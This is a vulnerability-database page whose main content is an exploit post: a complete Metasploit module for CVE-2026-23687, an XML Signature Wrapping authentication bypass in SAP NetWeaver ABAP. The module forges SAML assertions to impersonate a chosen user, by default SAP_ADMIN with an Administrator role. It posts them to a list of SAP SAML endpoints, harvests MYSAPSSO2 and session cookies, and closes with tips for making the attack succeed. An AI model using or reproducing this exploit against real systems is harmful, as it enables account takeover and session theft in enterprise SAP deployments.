| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-23687 | 10 Feb 202604:21 | – | circl | |
| SAP AS ABAP和SAP NetWeaver ABAP Platform 数据伪造问题漏洞 | 10 Feb 202600:00 | – | cnnvd | |
| CVE-2026-23687 | 10 Feb 202603:02 | – | cve | |
| CVE-2026-23687 XML Signature Wrapping in SAP NetWeaver AS ABAP and ABAP Platform | 10 Feb 202603:02 | – | cvelist | |
| Vulnerabilities fixed in SAP products | 10 Feb 202612:28 | – | ncsc | |
| CVE-2026-23687 | 10 Feb 202604:16 | – | nvd | |
| CVE-2026-23687 | 10 Feb 202604:16 | – | osv | |
| 📄 SAP NetWeaver ABAP / SAP_BASIS 918 Cryptographic Weakness | 9 Jun 202600:00 | – | packetstorm | |
| PT-2026-7214 | 10 Feb 202600:00 | – | ptsecurity | |
| CVE-2026-23687 | 11 Feb 202607:30 | – | redhatcve |
==================================================================================================================================
| # Title : SAP NetWeaver ABAP SAML XML Signature Wrapping Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.sap.com/ |
==================================================================================================================================
[+] Summary : a SAML authentication bypass vulnerability in SAP NetWeaver ABAP (SAP_BASIS versions 700–918).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Auth::SAML
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP NetWeaver ABAP SAML XML Signature Wrapping',
'Description' => %q{
This module exploits a vulnerability in SAP NetWeaver ABAP's SAML Service Provider
implementation (CVE-2026-23687). The vulnerability allows an attacker to bypass
SAML signature verification through XML Signature wrapping attacks.
By crafting a SAML response with a wrapped signature using <Object> tags, an
attacker can manipulate the SAML assertion data while maintaining a valid
cryptographic signature. This allows authentication as arbitrary users with
SAML mapping enabled.
Affects SAP_BASIS versions 700 through 918.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-23687'],
['URL', 'https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt'],
['URL', 'https://github.com/CompassSecurity/SAMLRaider'],
['URL', 'https://www.w3.org/TR/xmldsig-core1/#sec-Object'],
['SAP', '3697567']
],
'DisclosureDate' => '2026-06-08',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))
register_options([
OptString.new('TARGET_URL', [true, 'SAP NetWeaver target URL', 'https://sap.example.com']),
OptString.new('SAML_IDP_URL', [true, 'SAML Identity Provider URL', 'https://idp.example.com/saml']),
OptString.new('TARGET_USER', [true, 'Target user to impersonate', 'SAP_ADMIN']),
OptString.new('ORIGINAL_SAML_RESPONSE', [true, 'Valid SAML response from legitimate user', nil]),
OptString.new('SP_ENTITY_ID', [true, 'Service Provider Entity ID', 'sap.example.com']),
OptString.new('IDP_ENTITY_ID', [true, 'Identity Provider Entity ID', 'idp.example.com']),
OptInt.new('MAX_ATTEMPTS', [false, 'Maximum authentication attempts', 5]),
OptBool.new('USE_ENCRYPTION', [false, 'SAML response encryption enabled', false])
])
register_advanced_options([
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 30]),
OptBool.new('VERIFY_CERT', [false, 'Verify SSL certificate', false]),
OptString.new('PROXY', [false, 'HTTP proxy', nil])
])
end
def create_wrapped_saml_response(original_response, target_user)
print_status("Creating wrapped SAML response for user: #{target_user}")
begin
doc = Nokogiri::XML(original_response)
doc.remove_namespaces!
rescue => e
print_error("Failed to parse SAML response: #{e.message}")
return nil
end
signature = doc.at_xpath('//Signature')
assertion = doc.at_xpath('//Assertion')
if signature.nil? || assertion.nil?
print_error("Could not find Signature or Assertion in SAML response")
return nil
end
wrapped_saml = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="#{generate_saml_id}"
Version="2.0"
IssueInstant="#{Time.now.utc.iso8601}"
Destination="#{datastore['TARGET_URL']}">
<saml:Issuer>#{datastore['IDP_ENTITY_ID']}</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="#{assertion['ID'] || generate_saml_id}">
#{signature.to_xml}
<Object>
#{assertion.to_xml}
</Object>
<Subject>
<saml:NameID>#{target_user}</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="#{(Time.now + 3600).utc.iso8601}"
Recipient="#{datastore['TARGET_URL']}"/>
</saml:SubjectConfirmation>
</Subject>
<AttributeStatement>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name">
<saml:AttributeValue>#{target_user}</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
<saml:AttributeValue>#{target_user}@sap.example.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/role">
<saml:AttributeValue>Administrator</saml:AttributeValue>
</saml:Attribute>
</AttributeStatement>
</saml:Assertion>
</samlp:Response>
XML
encoded_response = Rex::Text.encode_base64(wrapped_saml)
print_status("Wrapped SAML response created (#{encoded_response.length} bytes)")
return encoded_response
end
def send_saml_assertion(saml_response)
print_status("Sending crafted SAML assertion to SAP NetWeaver")
saml_endpoints = [
'/sap/bc/sec/saml2',
'/sap/bc/sec/saml2/callback',
'/sap/bc/sec/saml2/sso',
'/sap/public/sec/saml2',
'/sap/bc/webdynpro/saml2'
]
endpoints_to_try = saml_endpoints
if datastore['TARGET_URL'].include?('/sap/')
endpoints_to_try = [URI(datastore['TARGET_URL']).path]
end
endpoints_to_try.each do |endpoint|
uri = normalize_uri(endpoint)
post_data = {
'SAMLResponse' => saml_response,
'RelayState' => generate_relay_state
}
print_status("Trying endpoint: #{uri}")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => post_data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded'
}
}, datastore['TIMEOUT'])
if res
print_status("Response status: #{res.code}")
if successful_authentication?(res)
print_good("Successfully authenticated as #{datastore['TARGET_USER']}!")
extract_session_info(res)
return true
elsif res.code == 302
print_status("Redirect received - might indicate partial success")
check_redirect_location(res)
elsif res.code == 200
if res.body.include?('SAP NetWeaver') || res.body.include?('sap-system')
print_status("SAP response received, checking for access...")
if check_sap_access(res)
print_good("Access granted! Session established.")
return true
end
end
else
print_status("Unexpected response: #{res.code}")
end
else
print_error("No response from endpoint: #{endpoint}")
end
rescue ::Rex::ConnectionError => e
print_error("Connection error: #{e.message}")
rescue => e
print_error("Error: #{e.message}")
end
end
return false
end
def successful_authentication?(response)
success_indicators = [
'sap-system',
'SAP Session',
'MYSAPSSO2',
'sap-usercontext',
'sap-login',
'welcome',
'dashboard'
]
if response.get_cookies
cookies = response.get_cookies
if cookies.include?('MYSAPSSO2') || cookies.include?('SAP_SESSIONID')
print_good("Found SAP session cookies")
return true
end
end
if response.body
success_indicators.each do |indicator|
if response.body.downcase.include?(indicator.downcase)
print_good("Found indicator: #{indicator}")
return true
end
end
end
return false
end
def extract_session_info(response)
session_info = {
'cookies' => response.get_cookies,
'headers' => response.headers
}
path = store_loot(
'sap.saml.session',
'text/plain',
rhost,
session_info.to_json,
'sap_saml_session.txt',
'SAP SAML session information'
)
print_good("Session information saved to: #{path}")
if response.get_cookies =~ /MYSAPSSO2=([^;]+)/
print_good("MYSAPSSO2 Cookie: #{$1}")
end
if response.get_cookies =~ /SAP_SESSIONID[^=]*=([^;]+)/
print_good("SAP Session ID: #{$1}")
end
end
def check_redirect_location(response)
if response.headers['Location']
location = response.headers['Location']
print_status("Redirect to: #{location}")
if location.include?('sap') && !location.include?('error')
print_good("Redirect appears successful")
end
end
end
def check_sap_access(response)
test_paths = [
'/sap/bc/gui/sap/its/webgui',
'/sap/bc/webdynpro/sap',
'/sap/bc/ui2/flp'
]
test_paths.each do |path|
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => path,
'cookie' => response.get_cookies
}, datastore['TIMEOUT'])
if res && res.code == 200
print_good("Access granted to #{path}")
return true
end
rescue
next
end
end
return false
end
def generate_saml_id
"_#{Rex::Text.rand_text_alphanumeric(32)}"
end
def generate_relay_state
Rex::Text.rand_text_alphanumeric(16)
end
def load_original_saml_response
original_response = datastore['ORIGINAL_SAML_RESPONSE']
if original_response.nil? || original_response.empty?
print_error("ORIGINAL_SAML_RESPONSE is required")
return nil
end
if File.exist?(original_response)
print_status("Loading SAML response from file: #{original_response}")
return File.read(original_response)
end
begin
decoded = Rex::Text.decode_base64(original_response)
if decoded && decoded.include?('saml')
print_status("Decoded base64 SAML response")
return decoded
end
rescue
end
return original_response
end
def run
print_status("Starting SAP NetWeaver SAML XML Signature Wrapping exploit")
print_status("CVE-2026-23687 - SAP_BASIS 700-918")
original_response = load_original_saml_response
if original_response.nil?
print_error("Failed to load original SAML response")
return
end
(1..datastore['MAX_ATTEMPTS']).each do |attempt|
print_status("Attempt #{attempt}/#{datastore['MAX_ATTEMPTS']}")
wrapped_response = create_wrapped_saml_response(original_response, datastore['TARGET_USER'])
if wrapped_response.nil?
print_error("Failed to create wrapped SAML response")
next
end
if send_saml_assertion(wrapped_response)
print_good("Exploit successful! Impersonated user: #{datastore['TARGET_USER']}")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "SAP NetWeaver SAML XML Signature Wrapping vulnerability allows user impersonation",
:data => "Target user: #{datastore['TARGET_USER']}"
})
return
end
sleep(2) if attempt < datastore['MAX_ATTEMPTS']
end
print_error("Exploit failed after #{datastore['MAX_ATTEMPTS']} attempts")
print_status("Troubleshooting tips:")
print_status("1. Verify the original SAML response is valid")
print_status("2. Check if SAP_BASIS version is affected (700-918)")
print_status("3. Ensure patch SAP Note 3697567 is not applied")
print_status("4. Try different SAML endpoints")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation